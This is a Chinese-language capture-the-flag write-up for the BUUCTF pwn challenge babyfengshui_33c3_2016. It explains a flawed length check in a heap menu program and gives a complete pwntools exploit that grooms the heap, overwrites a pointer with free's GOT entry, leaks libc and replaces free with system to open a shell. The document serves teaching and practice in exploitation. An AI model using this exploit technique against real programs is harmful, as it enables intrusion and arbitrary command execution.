[BUUCTF]PWN——babyfengshui_33c3_2016

xlpwn發表於2021-01-02

babyfengshui_33c3_2016

附件

步驟:

  1. 例行檢查,32位程式,開啟了cannary和nx
    在這裡插入圖片描述
  2. 本地執行一下看看大概的情況,熟悉的堆的選單佈局
    在這裡插入圖片描述
  3. 32位ida載入,看main函式
    在這裡插入圖片描述
    add
    在這裡插入圖片描述
    update
    在這裡插入圖片描述
    delete
    在這裡插入圖片描述
    display
    在這裡插入圖片描述
  4. 先隨便申請幾個堆,看一下佈局
add(0x80, 'name1', 0x80, 'aaa')
add(0x80, 'name2', 0x80, 'bbb')
add(0x80, 'name3', 0x80, 'ccc')
gdb.attach(p)

在這裡插入圖片描述

和我們上面分析的一樣,堆的佈局是text_chunk + name_chunk
上面看到了update在判斷長度的時候存在問題,
看堆佈局以chunk0來說,判斷條件就是:`0x083e300+0x80>=0x83e3008`
但是,有一個問題就是,chunk0和chunk0(name)其實不一定是相鄰的,這樣的話就有了實現溢位的可能
  1. 這樣就好辦了,先隨便申請幾個堆塊(我申請了3個),然後釋放掉chunk0,在申請一個chunk,這樣新申請的new_text_chunk就會在chunk1之前,new_name_chunk在chunk2之後,這之間的距離可大了,所以我們可以輸入很長的資料。
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
gdb.attach(p)

圖太大就不放全了,可以自己除錯看一下堆佈局
在這裡插入圖片描述
6. 上述程式碼中可以看到,name_chunk中存放著text_chunk的指標,將name_chunk1處儲存的chunk1指標改成free_got的地址,這樣就洩露了libc版本,可以直到system函式的實際地址了

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
r.recvuntil("description: ")
free_addr=u32(r.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
  1. 我們之前往chunk2中寫入了’/bin/sh‘,現在將free的地址改寫為system的地址,這樣在執行free(chunk2)的時候就變成了執行system(’/bin/sh’)這樣就可以獲取shell了
update(1,0x80,p32(system_addr))
delete(2)

完整EXP

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#p=remote("node3.buuoj.cn",27725)
p=process('./babyfengshui_33c3_2016')
elf=ELF('./babyfengshui_33c3_2016')

free_got=elf.got['free']

def add(size,name,length,text):
	p.recvuntil("Action: ")
	p.sendline("0")
	p.sendlineafter("size of description: ",str(size))
	p.sendlineafter("name: ",name)
	p.recvuntil("text length:")
	p.sendline(str(length))
	p.recvuntil("text:")
	p.sendline(text)
def delete(index):
	p.recvuntil("Action: ")
	p.sendline("1")
	p.recvuntil("index: ")
	p.sendline(str(index))
def show(index):
	p.recvuntil("Action: ")
	p.sendline("2")
	p.recvuntil("index: ")
	p.sendline(str(index))
def update(index,length,text):
	p.recvuntil("Action: ")
	p.sendline("3")
	p.recvuntil("index: ")
	p.sendline(str(index))
	p.recvuntil("text length: ")
	p.sendline(str(length))
	p.recvuntil("text: ")
	p.sendline(text)

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

update(1,0x80,p32(system_addr))
delete(2)
p.interactive()

參考wp:
https://blog.csdn.net/weixin_45677731/article/details/108093060